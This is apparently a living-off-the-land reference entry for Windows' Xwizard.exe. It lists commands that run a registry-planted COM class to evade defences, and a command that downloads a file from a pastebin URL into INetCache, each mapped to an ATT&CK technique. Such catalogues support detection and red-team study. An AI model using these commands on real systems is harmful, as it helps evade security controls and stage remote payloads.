.. /Xwizard.exe
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Execute custom class that has been added to the registry or download a file with Xwizard.exe


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Execute

  1. Xwizard.exe running a custom class that has been added to the registry.

    xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
    Use case
    Run a com object created in registry to evade defensive counter measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218

  2. Xwizard.exe running a custom class that has been added to the registry. The /t and /u switch prevent an error message in later Windows 10 builds.

    xwizard RunWizard /taero /u {00000001-0000-0000-0000-0000FEEDACDC}
    Use case
    Run a com object created in registry to evade defensive counter measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218

Download

  1. Xwizard.exe uses RemoteApp and Desktop Connections wizard to download a file, and save it to INetCache.

    xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /zhttps://pastebin.com/raw/iLxUT5gM
    Use case
    Download file from Internet
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1105
    Tags
    Download: INetCache
    INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
    If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
    cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"